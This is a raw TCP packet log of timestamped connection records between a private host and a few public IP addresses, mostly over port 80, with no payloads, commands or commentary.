Dec 20, 2024 07:12:38.823838949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.824846983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.824911118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.824953079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.825123072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.826014996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.826075077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.826122046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.826179028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.827204943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.827280045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.827303886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.827449083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.828418016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.828476906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.828524113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.828588009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.829596043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.829663992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.829694986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.829756975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.830787897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.830857038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.830895901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.830944061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.831980944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.832046986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.832217932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.832271099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.833169937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.833231926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.833280087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.833333015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.834368944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.834430933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.834619999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.834778070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.835599899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.835659981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.835709095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.835756063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.836760044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.836865902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.836926937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.837973118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.838030100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.838068962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.838131905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.839144945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.839226961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.839256048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.839304924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.840322971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.840392113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.840420961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.840473890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.841516972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.841629982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.841751099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.842696905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.842834949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.842890978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.843902111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.844058990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.844110966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.845117092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.845206976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.845231056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.845290899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.846321106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.846371889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.846390009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.846436977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.847493887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.847572088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.847738981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.848073006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.877959967 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:38.878042936 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:38.879321098 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:38.879328012 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:38.879631996 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:38.881249905 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:38.881249905 CET	49844	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:38.881289959 CET	443	49844	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:38.978606939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.978794098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.978877068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.979173899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.979266882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.980376005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.980442047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.980484962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.981558084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.981563091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.981641054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.981698990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.982755899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.982780933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.982847929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.983959913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.984018087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.984021902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.984083891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.985152006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.985208988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.985224962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.985296011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.986298084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.986357927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.986397028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.986439943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.987472057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.987539053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.987588882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.987730026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.988692045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.988754034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.989063978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.989191055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.989855051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.989921093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.990005016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.990057945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.991080999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.991134882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.991178036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.992297888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.992353916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.992444992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.993446112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.993516922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.993540049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.994626999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.994652033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.994713068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.995798111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.995918036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.995974064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.996995926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.997102022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.997158051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.998204947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.998239994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.999378920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.999434948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.999490023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.000577927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.000622034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.000634909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.001554012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.001729965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.001844883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.001914978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.002954960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.003433943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.003493071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.004317999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.004363060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.004415989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.005325079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.005552053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.005834103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.006567001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.006582975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.006624937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.006654978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.007703066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.007759094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.007806063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.008887053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.008943081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.008980989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.009557962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.010081053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.010185003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.011276007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.011360884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.011383057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.012449980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.012512922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.012558937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.013552904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.013654947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.013814926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.013873100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.014887094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.014965057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.015031099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.016030073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.016175032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.016233921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.017220020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.017337084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.017389059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.018466949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.018582106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.019613981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.019675016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.019722939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.020808935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.020864964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.020936966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.021549940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.022000074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.022103071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.022159100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.023171902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.023299932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.023351908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.024413109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.024492979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.024549007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.025543928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.025698900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.026748896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.026812077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.026818037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.027935982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.027997971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.028031111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.029100895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.029158115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.029232025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.029551029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.030322075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.030491114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.030544043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.031529903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.031634092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.031688929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.032681942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.032730103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.032785892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.033895969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.033997059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.035171986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.035227060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.035273075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.036310911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.036366940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.036395073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.037472963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.037497997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.037529945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.038630009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.038690090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.038734913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.039814949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.039871931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.039902925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.040980101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.041032076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.150584936 CET	49848	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:39.172935009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.173007011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.173062086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.173120975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.173571110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.173661947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.174783945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.174846888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.174918890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.175967932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.176027060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.176089048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.177154064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.177226067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.177493095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.177555084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.178308964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.178473949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.178539038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.179523945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.179788113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.179848909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.180699110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.180814028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.180874109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.181907892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.182019949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.183093071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.183161020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.183202028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.184266090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.184324026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.184370041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.185484886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.185543060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.185576916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.186674118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.186733961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.186793089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.187858105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.187926054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.187959909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.189038038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.189099073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.189110041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.189554930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.190248966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.190408945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.190469027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.191418886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.191493034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.191551924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.192589045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.192713976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.192771912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.193782091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.193892002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.194976091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.195036888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.195076942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.196165085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.196219921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.196268082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.197357893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.197416067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.197451115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.197554111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.198545933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.198678970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.198738098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.199748993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.199871063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.199927092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.200961113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.201052904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.201112032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.202126980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.202269077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.203305960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.203371048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.203418970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.204509020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.204559088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:39.204566956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.205550909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:39.205713987 CET	80	49838	31.41.244.11	192.168.2.4
